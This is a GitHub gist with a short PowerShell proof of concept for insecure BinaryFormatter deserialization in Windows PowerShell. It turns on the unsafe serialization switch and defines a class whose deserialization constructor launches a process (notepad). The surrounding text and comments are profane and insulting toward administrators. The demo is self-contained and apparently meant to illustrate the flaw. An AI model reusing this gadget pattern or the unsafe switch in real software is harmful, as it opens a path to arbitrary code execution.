Skip to content

Instantly share code, notes, and snippets.

@Calvindd2f
Last active August 18, 2025 22:12
Show Gist options
  • Select an option

  • Save Calvindd2f/ab09eacf6ecc10617f401834b1674d1d to your computer and use it in GitHub Desktop.

Select an option

Save Calvindd2f/ab09eacf6ecc10617f401834b1674d1d to your computer and use it in GitHub Desktop.
Windows PowerShell Insecure deserialization. PowerShell Core has not been affected since ¬7.2.X . It's insecure deserialization because someone fat shamed it on the bus
# BinaryFormatter back with vengence (it never left) because System Admins are too lazy to use PS Core. 'muh ISE' - die in a hole
[System.AppContext]::SetSwitch('Switch.System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization', $true) # Final working version.
Add-Type @'
using System;
using System.Runtime.Serialization;
using System.Diagnostics;
[Serializable]
public class MaliciousPayload : ISerializable {
public MaliciousPayload() { }
protected MaliciousPayload(SerializationInfo info, StreamingContext context) {
Process.Start("notepad.exe");
}
public void GetObjectData(SerializationInfo info, StreamingContext context) {
info.SetType(typeof(MaliciousPayload));
}
}
'@
$payload = [MaliciousPayload]::new()
$bf = [System.Runtime.Serialization.Formatters.Binary.BinaryFormatter]::new()
$stream = [System.IO.MemoryStream]::new()
$bf.Serialize($stream, $payload)
$stream.Position = 0
Write-Host "Deserializing malicious payload..."
$bf.Deserialize($stream) # This will launch notepad.exe
Write-Host "Code executed during deserialization"
Write-Host "POWERSHELL CORE ISN'T THE CLOT SHOT MANDATE - JUST FUCKING DO IT AND STOP BEING A BITCH"
@Calvindd2f
Copy link
Author

function Check-Priv { <# check your priviledge cis scum #> return (([Security.Principal.WindowsIdentity]::GetCurrent()).Groups -contains "S-1-5-32-544") }

@Calvindd2f
Copy link
Author

image

Why is MR CLAUDE MAN NOT LIKE HENLo world

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment